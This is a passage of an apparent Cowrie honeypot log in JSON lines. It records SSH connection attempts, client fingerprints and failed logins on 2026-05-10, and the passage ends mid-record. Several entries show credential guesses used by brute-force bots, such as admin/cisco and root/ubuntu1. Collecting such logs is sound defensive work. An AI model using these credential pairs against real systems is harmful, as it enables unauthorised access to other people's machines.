{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:30.884378Z","src_ip":"103.147.159.91","session":"c6efd992927d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"cisco","message":"login attempt [admin/cisco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:31.886557Z","src_ip":"103.147.159.91","session":"c6efd992927d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:33.132907Z","src_ip":"103.147.159.91","session":"c6efd992927d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00271892547607,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:46:34.548929Z","src_ip":"212.55.149.117","session":"bc41e8de6e51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":42552,"dst_ip":"10.17.0.5","dst_port":22,"session":"9b90be294ec8","protocol":"ssh","message":"New connection: 151.80.141.196:42552 (10.17.0.5:22) [session: 9b90be294ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:01.730747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:01.735856Z","src_ip":"151.80.141.196","session":"9b90be294ec8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:01.829111Z","src_ip":"151.80.141.196","session":"9b90be294ec8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@ssw0rd1","message":"login attempt [test/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:02.208369Z","src_ip":"151.80.141.196","session":"9b90be294ec8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:03.293630Z","src_ip":"151.80.141.196","session":"9b90be294ec8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":58881,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6022290c909","protocol":"ssh","message":"New connection: 74.87.117.146:58881 (10.17.0.5:22) [session: a6022290c909]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:10.808599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:10.813672Z","src_ip":"74.87.117.146","session":"a6022290c909","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:10.839325Z","src_ip":"74.87.117.146","session":"a6022290c909","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu","password":"Ubuntu123","message":"login attempt [Ubuntu/Ubuntu123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:10.968110Z","src_ip":"74.87.117.146","session":"a6022290c909","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:11.995407Z","src_ip":"74.87.117.146","session":"a6022290c909","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":44026,"dst_ip":"10.17.0.5","dst_port":22,"session":"bba3fedb0caa","protocol":"ssh","message":"New connection: 190.242.109.42:44026 (10.17.0.5:22) [session: bba3fedb0caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:12.593176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:12.598073Z","src_ip":"190.242.109.42","session":"bba3fedb0caa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:12.696610Z","src_ip":"190.242.109.42","session":"bba3fedb0caa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"1234","message":"login attempt [developer/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:13.121221Z","src_ip":"190.242.109.42","session":"bba3fedb0caa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:14.220914Z","src_ip":"190.242.109.42","session":"bba3fedb0caa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33824,"dst_ip":"10.17.0.5","dst_port":22,"session":"25763f9f77fd","protocol":"ssh","message":"New connection: 103.147.159.91:33824 (10.17.0.5:22) [session: 25763f9f77fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:25.395081Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:25.399740Z","src_ip":"103.147.159.91","session":"25763f9f77fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:25.639660Z","src_ip":"103.147.159.91","session":"25763f9f77fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu1","message":"login attempt [root/ubuntu1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:26.623626Z","src_ip":"103.147.159.91","session":"25763f9f77fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:27.863839Z","src_ip":"103.147.159.91","session":"25763f9f77fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":58944,"dst_ip":"10.17.0.5","dst_port":22,"session":"90ddc76e87ad","protocol":"ssh","message":"New connection: 151.80.141.196:58944 (10.17.0.5:22) [session: 90ddc76e87ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:48.143811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:48.149431Z","src_ip":"151.80.141.196","session":"90ddc76e87ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:48.235633Z","src_ip":"151.80.141.196","session":"90ddc76e87ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"squid","message":"login attempt [admin/squid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:48.604068Z","src_ip":"151.80.141.196","session":"90ddc76e87ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:49.690618Z","src_ip":"151.80.141.196","session":"90ddc76e87ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.227.170.113","src_port":56586,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7d301e636cd","protocol":"ssh","message":"New connection: 165.227.170.113:56586 (10.17.0.5:22) [session: e7d301e636cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:56.511151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:56.515094Z","src_ip":"165.227.170.113","session":"e7d301e636cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:56.596215Z","src_ip":"165.227.170.113","session":"e7d301e636cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"sftppass","message":"login attempt [sftp/sftppass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:56.951093Z","src_ip":"165.227.170.113","session":"e7d301e636cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:47:58.035001Z","src_ip":"165.227.170.113","session":"e7d301e636cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.146","src_port":44834,"dst_ip":"10.17.0.5","dst_port":22,"session":"df74de5138a5","protocol":"ssh","message":"New connection: 74.87.117.146:44834 (10.17.0.5:22) [session: df74de5138a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:04.298832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:04.304121Z","src_ip":"74.87.117.146","session":"df74de5138a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:04.330422Z","src_ip":"74.87.117.146","session":"df74de5138a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123qweasd","message":"login attempt [user/123qweasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:04.460940Z","src_ip":"74.87.117.146","session":"df74de5138a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:05.493136Z","src_ip":"74.87.117.146","session":"df74de5138a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.46.1.73","src_port":44874,"dst_ip":"10.17.0.5","dst_port":22,"session":"317122a05532","protocol":"ssh","message":"New connection: 189.46.1.73:44874 (10.17.0.5:22) [session: 317122a05532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:07.527077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:48:07.531110Z","src_ip":"189.46.1.73","session":"317122a05532","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-25